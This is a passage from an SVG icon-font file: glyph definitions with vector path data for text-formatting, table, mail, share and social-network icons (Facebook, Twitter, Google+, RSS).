	c-1.738-1.991-5.471-5.323-12.38-9.264c-10.476-5.975-25.193-11.646-42.56-16.401C 325.673,277.801, 275.901,272, 224,272
	c-51.901,0-101.672,5.801-140.148,16.334c-17.367,4.755-32.084,10.426-42.559,16.401C 34.384,308.677, 30.651,312.008, 28.913,314
	C 30.651,315.992, 34.384,319.323, 41.293,323.264z"  />
<glyph unicode="&#xe140;" d="M0,328L 168,160L 168-8L 280,20L 280,160L 448,328 z"  />
<glyph unicode="&#xe141;" d="M 349.823,376.909C 310.218,376.909, 284.802,384, 244.015,384C 112.203,384, 50.731,308.932, 50.731,232.681
	c0-44.922, 21.28-59.7, 63.247-59.7c-2.957,6.503-8.275,13.598-8.275,45.515c0,89.254, 33.69,115.263, 76.841,117.036
	c0,0-35.402-347.101-138.153-388.737L 44.391-64 l 73.814,0 l 64.696,0 l 47.261,224l 86.557,0 L 336,216L 241.978,216 l 22.726,107.708
	c 26.008-5.318, 51.425-10.638, 73.295-10.638c 27.19,0, 52.016,8.275, 65.611,70.93C 387.061,378.68, 369.326,376.909, 349.823,376.909z"  />
<glyph unicode="&#xe142;" d="M 392,48 L 448,48 L 378-36 L 308,48 L 364,48 L 364,272 L 308,272 L 378,356 L 448,272 L 392,272 ZM 280,356 L 280,244 L 252,300 L 168,300 L 168-8 L 224-8 L 224-36 L 56-36 L 56-8 L 112-8 L 112,300 L 28,300 L 0,244 L 0,356 Z"  />
<glyph unicode="&#xe143;" d="M 112-8 L 112-64 L 28,6 L 112,76 L 112,20 L 336,20 L 336,76 L 420,6 L 336-64 L 336-8 ZM 364,356 L 364,244 L 336,300 L 252,300 L 252,104 L 308,104 L 308,76 L 140,76 L 140,104 L 196,104 L 196,300 L 112,300 L 84,244 L 84,356 Z"  />
<glyph unicode="&#xe144;" d="M 309.697,171.965C 326.103,191.452, 336,216.593, 336,244c0,61.758-50.243,112-112,112l-56,0 l-56,0 L 84,356 l0-392 l 28,0 l 56,0 l 84,0 
	c 61.757,0, 112,50.243, 112,112C 364,116.668, 342.213,152.342, 309.697,171.965z M 168,300l 44.406,0 c 24.486,0, 44.406-25.121, 44.406-56
	s-19.92-56-44.406-56L 168,188 L 168,300 z M 237.563,20L 168,20 L 168,132 l 69.563,0 c 25.572,0, 46.375-25.121, 46.375-56S 263.134,20, 237.563,20z"  />
<glyph unicode="&#xe145;" d="M 308,356 L 364,356 L 364,174 C 364,104.412 301.32,48 224,48 C 146.681,48 84,104.412 84,174 L 84,356 L 140,356 L 140,174 C 140,156.427 147.979,139.567 162.467,126.529 C 178.609,112.002 200.463,104 224,104 C 247.537,104 269.391,112.002 285.533,126.529 C 300.021,139.567 308,156.427 308,174 L 308,356 ZM 84,20L 364,20L 364-36L 84-36z"  />
<glyph unicode="&#xe146;" d="M 392,356 L 392,328 L 336,328 L 196-8 L 252-8 L 252-36 L 56-36 L 56-8 L 112-8 L 252,328 L 196,328 L 196,356 Z"  />
<glyph unicode="&#xe147;" d="M 448,160 L 448,132 L 345.404,132 C 357.437,115.152 364,95.822 364,76 C 364,44.991 347.961,15.176 319.996-5.797 C 294.027-25.273 259.934-36 224-36 C 188.065-36 153.973-25.273 128.004-5.797 C 100.039,15.176 84,44.991 84,76 L 140,76 C 140,45.645 178.468,20 224,20 C 269.532,20 308,45.645 308,76 C 308,106.355 269.532,132 224,132 L 0,132 L 0,160 L 131.039,160 C 130.016,160.724 129.002,161.454 128.004,162.203 C 100.039,183.177 84,212.991 84,244 C 84,275.009 100.039,304.823 128.004,325.797 C 153.973,345.273 188.065,356 224,356 C 259.934,356 294.027,345.273 319.996,325.797 C 347.961,304.823 364,275.009 364,244 L 308,244 C 308,274.355 269.532,300 224,300 C 178.468,300 140,274.355 140,244 C 140,213.645 178.468,188 224,188 C 258.553,188 291.399,178.078 316.961,160 L 448,160 Z"  />
<glyph unicode="&#xe148;" d="M 308-8 L 420-8 L 448,48 L 448-64 L 280-64 L 280,29.719 C 337.361,54.43 378,115.977 378,188 C 378,281.814 309.051,355.241 224,355.241 C 138.947,355.241 70,281.815 70,188 C 70,115.977 110.638,54.43 168,29.719 L 168-64 L 0-64 L 0,48 L 28-8 L 140-8 L 140,6.258 C 57.912,35.334 0,105.746 0,188 C 0,296.248 100.288,384 224,384 C 347.712,384 448,296.248 448,188 C 448,105.746 390.088,35.334 308,6.258 L 308-8 Z"  />
<glyph unicode="&#xe149;" d="M 411.953,62.565 L 431.375,104 L 448,104 L 420-64 L 0-64 L 0-31.519 L 145.051,139.636 L 0,284.687 L 0,384 L 428.75,384 L 448,272 L 432.961,272 L 424.77,289.011 L 424.77,289.010 C 409.319,321.107 397.688,328 364,328 L 74.375,328 L 228.837,173.538 L 98.716,20 L 336,20 C 386.754,20 400.159,38.19 411.953,62.565 Z"  />
<glyph unicode="&#xe14a;" d="M0,300l0-308 l 448,0 L 448,300 L0,300 z M 168,104l0,56 l 112,0 l0-56 L 168,104 z M 280,76l0-56 L 168,20 l0,56 L 280,76 z M 280,244l0-56 L 168,188 l0,56 L 280,244 z M 140,244l0-56 L 28,188 l0,56 L 140,244 z
	 M 28,160l 112,0 l0-56 L 28,104 L 28,160 z M 308,160l 112,0 l0-56 L 308,104 L 308,160 z M 308,188l0,56 l 112,0 l0-56 L 308,188 z M 28,76l 112,0 l0-56 L 28,20 L 28,76 z M 308,20l0,56 l 112,0 l0-56 L 308,20 z"  />
<glyph unicode="&#xe14b;" d="M0,356l0-392 l 448,0 L 448,356 L0,356 z M 168,104l0,84 l 112,0 l0-84 L 168,104 z M 280,76l0-84 L 168-8 l0,84 L 280,76 z M 280,300l0-84 L 168,216 L 168,300 L 280,300 z M 140,300l0-84 L 28,216 L 28,300 L 140,300 z
	 M 28,188l 112,0 l0-84 L 28,104 L 28,188 z M 308,188l 112,0 l0-84 L 308,104 L 308,188 z M 308,216L 308,300 l 112,0 l0-84 L 308,216 z M 28,76l 112,0 l0-84 L 28-8 L 28,76 z M 308-8l0,84 l 112,0 l0-84 L 308-8 z"  />
<glyph unicode="&#xe14c;" d="M 168,300L 224,300L 224,272L 168,272zM 252,300L 308,300L 308,272L 252,272zM 392,300 L 392,188 L 308,188 L 308,216 L 364,216 L 364,272 L 336,272 L 336,300 ZM 140,216L 196,216L 196,188L 140,188zM 224,216L 280,216L 280,188L 224,188zM 84,272 L 84,216 L 112,216 L 112,188 L 56,188 L 56,300 L 140,300 L 140,272 ZM 168,132L 224,132L 224,104L 168,104zM 252,132L 308,132L 308,104L 252,104zM 392,132 L 392,20 L 308,20 L 308,48 L 364,48 L 364,104 L 336,104 L 336,132 ZM 140,48L 196,48L 196,20L 140,20zM 224,48L 280,48L 280,20L 224,20zM 84,104 L 84,48 L 112,48 L 112,20 L 56,20 L 56,132 L 140,132 L 140,104 ZM 420,356 L 28,356 L 28-36 L 420-36 L 420,356 Z M 448,384 L 448,384 L 448-64 L 0-64 L 0,384 L 448,384 Z"  />
<glyph unicode="&#xe14d;" d="M 168,384 L 392,384 L 392,328 L 336,328 L 336-64 L 280-64 L 280,328 L 224,328 L 224-64 L 168-64 L 168,160 C 106.145,160 56,210.144 56,272 C 56,333.855 106.145,384 168,384 Z"  />
<glyph unicode="&#xe14e;" d="M 224,384c-61.855,0-112-50.145-112-112s 50.145-112, 112-112l0-224 l 56,0 L 280,328 l 56,0 l0-392 l 56,0 L 392,328 l 56,0 L 448,384 L 224,384 zM0,76L 112,188L0,300 	z"  />
<glyph unicode="&#xe14f;" d="M 112,384C 50.145,384,0,333.855,0,272s 50.145-112, 112-112l0-224 l 56,0 L 168,328 l 56,0 l0-392 l 56,0 L 280,328 l 56,0 L 336,384 L 112,384 zM 448,300L 336,188L 448,76 	z"  />
<glyph unicode="&#xe150;" d="M0,300L 448,300L 448,272L0,272zM0,244L 308,244L 308,216L0,216zM0,188L 448,188L 448,160L0,160zM0,132L 308,132L 308,104L0,104zM0,76L 448,76L 448,48L0,48zM0,20L 308,20L 308-8L0-8z"  />
<glyph unicode="&#xe151;" d="M0,300L 448,300L 448,272L0,272zM 84,244L 364,244L 364,216L 84,216zM 84,132L 364,132L 364,104L 84,104zM 84,20L 364,20L 364-8L 84-8zM0,188L 448,188L 448,160L0,160zM0,76L 448,76L 448,48L0,48z"  />
<glyph unicode="&#xe152;" d="M0,300L 448,300L 448,272L0,272zM 140,244L 448,244L 448,216L 140,216zM0,188L 448,188L 448,160L0,160zM 140,132L 448,132L 448,104L 140,104zM0,76L 448,76L 448,48L0,48zM 140,20L 448,20L 448-8L 140-8z"  />
<glyph unicode="&#xe153;" d="M0,244L 448,244L 448,216L0,216zM0,132L 448,132L 448,104L0,104zM0,20L 448,20L 448-8L0-8zM0,300L 448,300L 448,272L0,272zM0,188L 448,188L 448,160L0,160zM0,76L 448,76L 448,48L0,48z"  />
<glyph unicode="&#xe154;" d="M0,356L 448,356L 448,300L0,300zM0,272L 280,272L 280,216L0,216zM0,104L 280,104L 280,48L0,48zM0,188L 448,188L 448,132L0,132zM0,20L 448,20L 448-36L0-36z"  />
<glyph unicode="&#xe155;" d="M0,356L 448,356L 448,300L0,300zM 84,272L 364,272L 364,216L 84,216zM 84,104L 364,104L 364,48L 84,48zM0,188L 448,188L 448,132L0,132zM0,20L 448,20L 448-36L0-36z"  />
<glyph unicode="&#xe156;" d="M0,356L 448,356L 448,300L0,300zM 168,272L 448,272L 448,216L 168,216zM 168,104L 448,104L 448,48L 168,48zM0,188L 448,188L 448,132L0,132zM0,20L 448,20L 448-36L0-36z"  />
<glyph unicode="&#xe157;" d="M0,356L 448,356L 448,300L0,300zM0,272L 448,272L 448,216L0,216zM0,188L 448,188L 448,132L0,132zM0,104L 448,104L 448,48L0,48zM0,20L 448,20L 448-36L0-36z"  />
<glyph unicode="&#xe158;" d="M0,356L 448,356L 448,300L0,300zM 168,272L 448,272L 448,216L 168,216zM 168,188L 448,188L 448,132L 168,132zM 168,104L 448,104L 448,48L 168,48zM0,20L 448,20L 448-36L0-36zM 0,76 L 0,244 L 112,160 Z"  />
<glyph unicode="&#xe159;" d="M0,356L 448,356L 448,300L0,300zM 168,272L 448,272L 448,216L 168,216zM 168,188L 448,188L 448,132L 168,132zM 168,104L 448,104L 448,48L 168,48zM0,20L 448,20L 448-36L0-36zM 112,244 L 112,76 L 0,160 Z"  />
<glyph unicode="&#xe15a;" d="M 84,356l0-336 l 336,0 L 420,356 L 84,356 z M 392,48L 112,48 L 112,328 l 280,0 L 392,48 zM 56-8L 56,272L 28,300L 28-36L 364-36L 336-8 	zM 187.799,84.201L 271.799,168.201L 336,104L 336,272L 168,272L 232.201,207.799L 148.201,123.799 	z"  />
<glyph unicode="&#xe15b;" d="M 126,272L 14,160l 112-112l 56,0 L 70,160l 112,112L 126,272 z M 322,272l-56,0 l 112-112L 266,48l 56,0 l 112,112L 322,272z"  />
<glyph unicode="&#xe15c;" d="M 56,160L 168,272L 112,272L0,160L 112,48L 168,48 	zM 336,272L 280,272L 392,160L 280,48L 336,48L 448,160 	zM 238,328L 168-8L 210-8L 280,328 	z"  />
<glyph unicode="&#xe15d;" d="M0,356l0-392 l 448,0 L 448,356 L0,356 z M 420-8L 28-8 L 28,328 l 392,0 L 420-8 zM 392,300L 56,300 l0-280 l 336,0 L 392,300 z M 196,160l-28,0 l0-28 l-28,0 l0-28 l-28,0 l0,28 l 28,0 l0,28 l 28,0 l0,28 l-28,0 l0,28 l-28,0 l0,28 l 28,0 l0-28 l 28,0 l0-28 l 28,0 L 196,160 z M 308,104l-84,0 
		l0,28 l 84,0 L 308,104 z"  />
<glyph unicode="&#xe15e;" d="M 378,76c-19.758,0-37.59-8.198-50.318-21.363L 139.118,148.919C 139.693,152.529, 140,156.228, 140,160
	s-0.307,7.471-0.882,11.080l 188.564,94.282C 340.41,252.198, 358.243,244, 378,244c 38.66,0, 70,31.34, 70,70S 416.66,384, 378,384
	s-70-31.34-70-70c0-3.772, 0.308-7.471, 0.882-11.080L 120.318,208.637C 107.59,221.801, 89.757,230, 70,230c-38.66,0-70-31.341-70-70
	c0-38.661, 31.34-70, 70-70c 19.758,0, 37.59,8.198, 50.318,21.362l 188.564-94.282C 308.308,13.471, 308,9.772, 308,6
	c0-38.661, 31.34-70, 70-70s 70,31.339, 70,70C 448,44.659, 416.66,76, 378,76z"  />
<glyph unicode="&#xe15f;" d="M 373.323,384L 74.677,384 C 33.604,384,0,350.407,0,309.337l0-298.662 C0-30.396, 33.604-64, 74.677-64l 298.647,0 
	C 414.422-64, 448-30.396, 448,10.675L 448,309.337 C 448,350.407, 414.422,384, 373.323,384z M 112,272l 224,0 c 3.998,0, 7.877-0.858, 11.438-2.477
	L 224,125.512L 100.562,269.524C 104.123,271.141, 108.002,272, 112,272z M 84,76L 84,244 c0,0.586, 0.025,1.169, 0.061,1.75l 82.103-95.786
	L 84.965,68.764C 84.333,71.099, 84,73.526, 84,76z M 336,48L 112,48 c-2.474,0-4.901,0.333-7.236,0.965l 79.677,79.677L 224,82.487
	l 39.561,46.154l 79.676-79.677C 340.9,48.333, 338.474,48, 336,48z M 364,76c0-2.474-0.333-4.9-0.965-7.236l-81.199,81.199L 363.939,245.75
	c 0.037-0.581, 0.061-1.164, 0.061-1.75L 364,76 z"  />
<glyph unicode="&#xe160;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 373.337,328c 3.495,0, 6.801-1.021, 9.634-2.775
	L 224,193.799L 65.033,325.224C 67.867,326.978, 71.177,328, 74.675,328L 373.337,328 z M 74.675-8c-0.842,0-1.671,0.064-2.487,0.178
	l 98.711,136.923l-12.8,12.799L 56,39.8L 56,307.173 L 224,104L 392,307.172l0-267.372 L 289.9,141.9l-12.799-12.799l 98.712-136.924
	c-0.813-0.114-1.639-0.178-2.477-0.178L 74.675-8 z"  />
<glyph unicode="&#xe161;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 79.9-3.899l-33.8,33.799l 112,112
	l 12.8-12.799L 79.9-3.899z M 67.1,297.1l 12.8,12.8L 224,193.799L 368.101,309.9l 12.799-12.8L 224,112.201L 67.1,297.1z
	 M 368.101-3.899l-91,133l 12.799,12.799l 112-112L 368.101-3.899z"  />
<glyph unicode="&#xe162;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 112,272l 224,0 
	c 3.998,0, 7.877-0.858, 11.438-2.477L 224,125.512L 100.562,269.524C 104.123,271.141, 108.002,272, 112,272z M 84,76L 84,244 
	c0,0.586, 0.025,1.169, 0.061,1.75l 82.103-95.787L 84.965,68.764C 84.333,71.098, 84,73.526, 84,76z M 336,48L 112,48 
	c-2.474,0-4.901,0.333-7.236,0.966l 79.677,79.677L 224,82.487l 39.561,46.154l 79.676-79.678C 340.9,48.333, 338.474,48, 336,48z
	 M 364,76c0-2.474-0.333-4.9-0.965-7.236l-81.2,81.199L 363.939,245.75c 0.037-0.581, 0.061-1.164, 0.061-1.75L 364,76 z"  />
<glyph unicode="&#xe163;" d="M 345.421,356c0,0-87.918,0-117.224,0c-52.553,0-102.012-39.815-102.012-85.935c0-47.13, 35.823-85.166, 89.288-85.166
	c 3.718,0, 7.331,0.074, 10.867,0.329c-3.469-6.644-5.95-14.126-5.95-21.893c0-13.098, 7.045-23.717, 15.955-32.386
	c-6.731,0-13.231-0.196-20.323-0.196c-65.092,0.001-115.194-41.458-115.194-84.447c0-42.34, 54.925-68.824, 120.021-68.824
	c 74.21,0, 115.196,42.107, 115.196,84.45c0,33.951-10.017,54.282-40.988,76.184c-10.595,7.5-30.858,25.741-30.858,36.463
	c0,12.565, 3.586,18.755, 22.5,33.533c 19.386,15.148, 33.107,36.445, 33.107,61.213c0,29.49-13.135,58.23-37.789,67.713l 37.168,0 
	L 345.421,356z M 304.477,69.237c 0.93-3.925, 1.437-7.966, 1.437-12.087c0-34.212-22.046-60.948-85.301-60.948
	c-44.993,0-77.488,28.483-77.488,62.694c0,33.531, 40.305,61.444, 85.297,60.958c 10.5-0.111, 20.286-1.801, 29.167-4.677
	C 282.013,98.189, 299.534,88.594, 304.477,69.237z M 232.438,196.848c-30.204,0.903-58.903,33.786-64.117,73.439
	c-5.213,39.666, 15.037,70.018, 45.232,69.121C 243.744,338.5, 272.457,306.676, 277.672,267.019
	C 282.881,227.356, 262.627,195.944, 232.438,196.848z"  />
<glyph unicode="&#xe164;" d="M 244.591,356c0,0-87.918,0-117.224,0C 74.815,356, 25.356,316.185, 25.356,270.065c0-47.13, 35.823-85.166, 89.288-85.166
		c 3.718,0, 7.331,0.074, 10.868,0.329c-3.469-6.644-5.951-14.126-5.951-21.893c0-13.098, 7.045-23.717, 15.955-32.386
		c-6.731,0-13.231-0.196-20.323-0.196C 50.102,130.754,0,89.297,0,46.307c0-42.34, 54.925-68.825, 120.021-68.825
		c 74.21,0, 115.196,42.107, 115.196,84.45c0,33.95-10.017,54.282-40.988,76.184c-10.595,7.5-30.857,25.741-30.857,36.463
		c0,12.565, 3.586,18.755, 22.5,33.533c 19.386,15.148, 33.106,36.445, 33.106,61.213c0,29.49-13.134,58.23-37.788,67.713l 37.167,0 
		L 244.591,356z M 203.648,69.237c 0.93-3.925, 1.437-7.965, 1.437-12.087c0-34.212-22.047-60.948-85.301-60.948
		c-44.993,0-77.488,28.483-77.488,62.694c0,33.531, 40.305,61.444, 85.297,60.958c 10.5-0.111, 20.286-1.801, 29.168-4.677
		C 181.184,98.19, 198.706,88.593, 203.648,69.237z M 131.608,196.848c-30.204,0.903-58.903,33.786-64.117,73.439
		c-5.213,39.666, 15.037,70.018, 45.232,69.121c 30.192-0.907, 58.904-32.731, 64.119-72.388
		C 182.052,227.356, 161.797,195.944, 131.608,196.848zM 364,272L 364,356L 336,356L 336,272L 252,272L 252,244L 336,244L 336,160L 364,160L 364,244L 448,244L 448,272 	z"  />
<glyph unicode="&#xe165;" d="M 373.411,384L 74.043,384 C 32.875,384,0,349.969,0,308.803l0-297.654 C0-31.035, 32.875-64, 74.043-64l 299.367,0 
	C 414.578-64, 448-31.035, 448,11.149L 448,308.803 C 448,349.969, 414.578,384, 373.411,384z M 308,370l0-70 l-70,0 L 238,370 L 308,370 z M 210,370l0-70 l-70,0 L 140,370 L 210,370 z
	 M 14,300L 14,308.803 C 14,342.547, 40.935,370, 74.043,370L 112,370 l0-70 L 14,300 z M 336,104l-84,0 l0-84 l-56,0 l0,84 l-84,0 l0,56 l 84,0 l0,84 l 56,0 l0-84 l 84,0 L 336,104 z M 434,300L 336,300 L 336,370 
	l 37.412,0 C 406.821,370, 434,342.547, 434,308.803L 434,300 z"  />
<glyph unicode="&#xe166;" d="M 0.353,3.522c-0.107,1.108-0.198,2.218-0.256,3.338C 0.154,5.74, 0.246,4.63, 0.353,3.522zM 103.21,136.748c 40.254-1.198, 67.259,40.555, 60.315,93.274c-6.954,52.71-45.236,95.011-85.491,96.216
		c-40.261,1.194-67.261-39.148-60.31-91.875C 24.672,181.658, 62.94,137.949, 103.21,136.748zM 448,272L 448,309.323 C 448,350.396, 414.408,384, 373.337,384L 74.675,384 C 34.304,384, 1.17,351.523, 0.053,311.407
		c 25.533,22.481, 60.954,41.263, 97.507,41.263c 39.071,0, 156.294,0, 156.294,0l-34.977-29.583l-49.555,0 
		c 32.869-12.602, 50.381-50.804, 50.381-90.003c0-32.921-18.292-61.23-44.139-81.361c-25.219-19.645-30-27.872-30-44.572
		c0-14.253, 27.014-38.5, 41.139-48.47c 41.292-29.11, 54.651-56.137, 54.651-101.262c0-7.187-0.893-14.363-2.654-21.42l 134.637,0 
		C 414.408-64, 448-30.422, 448,10.677L 448,243.999 l-84,0 L 364,160 l-28,0 l0,84 l-83.999,0 l0,28 L 336,272 L 336,356 l 28,0 l0-84 L 448,272 zM 81.325,48.903c 9.456,0, 18.122,0.258, 27.097,0.258c-11.876,11.521-21.274,25.637-21.274,43.041
		c0,10.329, 3.309,20.272, 7.934,29.102c-4.717-0.337-9.533-0.435-14.493-0.435c-32.531,0-60.159,10.533-80.589,27.936l0-29.418 
		l 0.003-88.257C 23.383,42.232, 51.141,48.903, 81.325,48.903zM 1.496-4.175c-0.487,2.388-0.86,4.815-1.112,7.277C 0.635,0.64, 1.010-1.787, 1.496-4.175zM 199.259-32.87c-6.588,25.728-29.949,38.484-62.514,61.061c-11.844,3.82-24.891,6.070-38.891,6.216
		c-39.208,0.422-75.735-15.287-96.345-38.663C 8.475-38.252, 38.713-64, 74.675-64l 125.319,0 c 0.794,4.869, 1.179,9.902, 1.179,15.064
		C 201.174-43.452, 200.503-38.089, 199.259-32.87z"  />
<glyph unicode="&#xe167;" d="M 191.19,26.054 C 191.19-6.788 170.894-32.742 113.421-34.835 C 79.74-15.679 51.519,11.956 31.649,45.168 C 42.013,70.76 74.389,90.251 111.412,89.843 C 121.922,89.733 131.716,88.043 140.612,85.162 C 165.072,68.158 184.8,57.533 189.754,38.154 C 190.679,34.232 191.19,30.188 191.19,26.054 ZM 224,384C 159.276,384, 100.977,356.538, 60.084,312.645c 16.159,8.948, 35.235,14.279, 55.52,14.279c 29.342,0, 112.192,0, 112.192,0
		L 202.724,300.612L 173.276,300.612 c 20.78-11.905, 31.829-36.421, 31.829-63.443c0-24.803-13.745-44.791-33.154-59.963
		c-18.935-14.788-22.528-20.985-22.528-33.571c0-10.737, 22.628-26.73, 33.031-34.535c 36.233-27.174, 43.565-44.268, 43.565-78.256
		c0-34.443-30.16-68.733-81.316-80.387C 169.356-58.877, 196.078-64, 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z
		 M 336,216l0-56 l-28,0 l0,56 l-56,0 l0,28 l 56,0 L 308,300 l 28,0 l0-56 l 56,0 l0-28 L 336,216 zM 160.023,235.481 C 165.239,195.767 147.841,170.21 117.615,171.11 C 87.372,172.021 58.637,199.763 53.416,239.466 C 48.198,279.186 68.474,309.577 98.71,308.677 C 128.937,307.769 154.807,275.189 160.023,235.481 ZM 96.638,103.095 C 63.965,103.095 36.207,91.822 16.644,75.155 C 5.925,101.326 0,129.969 0,160 C 0,184.835 4.050,208.724 11.511,231.048 C 14.738,187.542 45.353,153.964 95.936,153.964 C 99.661,153.964 103.27,154.158 106.818,154.411 C 103.34,147.748 100.859,140.328 100.859,132.544 C 100.859,119.432 108.072,111.951 116.988,103.278 C 110.25,103.278 103.745,103.095 96.638,103.095 Z"  />
<glyph unicode="&#xe168;" d="M 200.957,95.324L 126.296-34.031L 373.332-34.031L 448,95.324 	zM 426.83,132L 298.672,354.031L 149.332,354.031L 277.5,132 	zM 128.116,317.275L0,95.324L 74.671-34.031L 202.785,187.923 	z"  />
<glyph unicode="&#xe169;" d="M 251.943-64L 168-64 L 168,160 l-56,0 l0,77.197 l 56,0.025l-0.091,45.479C 167.909,345.68, 184.986,384, 259.171,384l 61.764,0 l0-77.212 l-38.601,0 
	c-28.889,0-30.278-10.787-30.278-30.924l-0.115-38.642l 69.427,0 l-8.183-77.197L 252,160L 251.943-64z"  />
<glyph unicode="&#xe16a;" d="M 373.338,384L 74.674,384 C 33.605,384,0,350.394,0,309.324l0-298.649 C0-30.423, 33.605-64, 74.674-64l 298.664,0.001
	c 41.071,0, 74.662,33.576, 74.662,74.676L 448,309.324 C 448,350.394, 414.408,384, 373.338,384z M 380.884,160L 308,160 l0-196 l-84,0 L 224,160 l-40.48,0 l0,64.122 L 224,224.122 
	l0,41.644 C 224,322.353, 248.409,356, 314.943,356l 76.669,0 l0-69.374 l-62.619,0 c-18.586,0.031-20.892-9.692-20.892-27.787L 308,224.122l 84,0 
	L 380.884,160z"  />
<glyph unicode="&#xe16b;" d="M 224,384 C 347.712,384 448,283.712 448,160 C 448,45.771 362.496-48.482 252-62.261 L 252,104 L 329,104 L 336,160 L 252,160 L 252,188 C 252,203.464 264.536,216 280,216 L 336,216 L 336,272 L 280,272 C 233.608,272 196,234.393 196,188 L 196,160 L 154,160 L 154,104 L 196,104 L 196-6.688 L 196-56.943 L 196-62.261 C 85.504-48.482 0,45.771 0,160 C 0,283.712 100.288,384 224,384 Z"  />
<glyph unicode="&#xe16c;" d="M 373.625,384L 74.375,384 C 33.469,384,0,350.531,0,309.625l0-299.25 c0-40.906, 33.469-74.375, 74.375-74.375l 299.25,0 c 40.906,0, 74.375,33.469, 74.375,74.375L 448,309.625 C 448,350.531, 414.531,384, 373.625,384z
	 M 143.412,188l 161.175,0 c 3.057-8.775, 4.725-18.196, 4.725-28c0-47.042-38.271-85.313-85.313-85.313c-47.042,0-85.313,38.271-85.313,85.313
	C 138.688,169.804, 140.355,179.225, 143.412,188z M 392,187.978L 392,76 l0-56 c0-15.4-12.6-28-28-28L 84-8 c-15.4,0-28,12.6-28,28l0,56 L 56,187.978 L 56,188 
	l 43.797,0 c-2.031-9.013-3.11-18.382-3.11-28c0-70.2, 57.112-127.313, 127.313-127.313c 70.2,0, 127.313,57.112, 127.313,127.313
	c0,9.618-1.078,18.987-3.11,28L 392,188 L 392,187.978 z M 392,286c0-7.7-6.3-14-14-14l-28,0 c-7.7,0-14,6.3-14,14L 336,314 c0,7.7, 6.3,14, 14,14l 28,0 
	c 7.7,0, 14-6.3, 14-14L 392,286 z"  />
<glyph unicode="&#xe16d;" d="M 448,298.942c-16.483-7.31-34.197-12.251-52.789-14.473c 18.975,11.375, 33.55,29.387, 40.413,50.851
	c-17.761-10.534-37.431-18.183-58.367-22.304c-16.765,17.863-40.653,29.024-67.089,29.024c-50.76,0-91.913-41.15-91.913-91.909
	c0-7.204, 0.813-14.219, 2.38-20.947c-76.388,3.834-144.113,40.425-189.445,96.034c-7.912-13.575-12.445-29.363-12.445-46.208
	c0-31.889, 16.226-60.022, 40.889-76.504c-15.067,0.478-29.239,4.612-41.63,11.497c-0.009-0.383-0.009-0.768-0.009-1.156
	c0-44.532, 31.683-81.68, 73.728-90.125c-7.711-2.1-15.832-3.225-24.215-3.225c-5.923,0-11.68,0.578-17.293,1.65
	c 11.697-36.514, 45.64-63.090, 85.86-63.829c-31.456-24.653-71.088-39.346-114.151-39.346c-7.419,0-14.735,0.435-21.926,1.286
	c 40.675-26.079, 88.988-41.297, 140.893-41.297c 169.060,0, 261.51,140.054, 261.51,261.513c0,3.985-0.090,7.948-0.267,11.891
	C 420.096,264.324, 435.678,280.511, 448,298.942z"  />
<glyph unicode="&#xe16e;" d="M 373.337,384L 74.675,384 C 33.605,384,0,350.396,0,309.323l0-298.647 C0-30.422, 33.605-64, 74.675-64l 298.662,0 
	C 414.408-64, 448-30.422, 448,10.677L 448,309.323 C 448,350.396, 414.408,384, 373.337,384z M 366.648,234.448
	c 0.144-3.212, 0.214-6.444, 0.214-9.69c0-98.969-74.032-213.092-209.413-213.092c-41.564,0-80.252,12.402-112.825,33.652
	c 5.758-0.695, 11.617-1.047, 17.557-1.047c 34.485,0, 66.219,11.974, 91.409,32.061c-32.207,0.604-59.388,22.258-68.755,52.011
	c 4.495-0.875, 9.105-1.345, 13.848-1.345c 6.713,0, 13.215,0.917, 19.39,2.628c-33.67,6.883-59.041,37.151-59.041,73.437
	c0,0.316,0,0.629, 0.007,0.942c 9.922-5.609, 21.273-8.977, 33.337-9.367c-19.75,13.43-32.743,36.353-32.743,62.338
	c0,13.724, 3.629,26.59, 9.965,37.65c 36.301-45.312, 90.535-75.127, 151.705-78.252c-1.256,5.483-1.907,11.198-1.907,17.069
	c0,41.36, 32.955,74.891, 73.601,74.891c 21.171,0, 40.302-9.094, 53.726-23.65c 16.765,3.358, 32.517,9.59, 46.739,18.175
	c-5.496-17.489-17.165-32.166-32.36-41.436c 14.886,1.81, 29.073,5.836, 42.271,11.792C 393.509,258.198, 381.030,245.006, 366.648,234.448
	z"  />
<glyph unicode="&#xe16f;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 352.731,226.024
	c 0.128-2.847, 0.193-5.712, 0.193-8.592c0-87.772-66.81-188.984-188.982-188.984c-37.51,0-72.422,10.997-101.818,29.844
	c 5.196-0.616, 10.483-0.93, 15.845-0.93c 31.119,0, 59.758,10.621, 82.491,28.435c-29.065,0.534-53.594,19.741-62.048,46.127
	c 4.057-0.773, 8.218-1.191, 12.498-1.191c 6.058,0, 11.925,0.812, 17.499,2.329c-30.385,6.104-53.281,32.949-53.281,65.13
	c0,0.28,0,0.559, 0.007,0.836c 8.956-4.974, 19.197-7.962, 30.084-8.307c-17.824,11.91-29.549,32.24-29.549,55.286
	c0,12.172, 3.276,23.583, 8.993,33.392c 32.759-40.186, 81.702-66.628, 136.904-69.4c-1.132,4.864-1.719,9.932-1.719,15.139
	c0,36.68, 29.741,66.418, 66.42,66.418c 19.104,0, 36.367-8.066, 48.483-20.974c 15.129,2.978, 29.345,8.506, 42.18,16.117
	c-4.96-15.511-15.492-28.528-29.204-36.747c 13.436,1.605, 26.236,5.177, 38.147,10.458
	C 376.972,247.088, 365.711,235.39, 352.731,226.024z"  />
<glyph unicode="&#xe170;" d="M 59.629,55.468c-32.898,0-59.628-26.834-59.628-59.533c0-32.88, 26.731-59.413, 59.628-59.413
		c 33.016,0, 59.716,26.534, 59.716,59.413C 119.344,28.635, 92.647,55.468, 59.629,55.468zM 0.068,231.781l0-85.863 c 55.906,0, 108.482-21.863, 148.075-61.474c 39.543-39.514, 61.373-92.328, 61.373-148.444l 86.241,0 
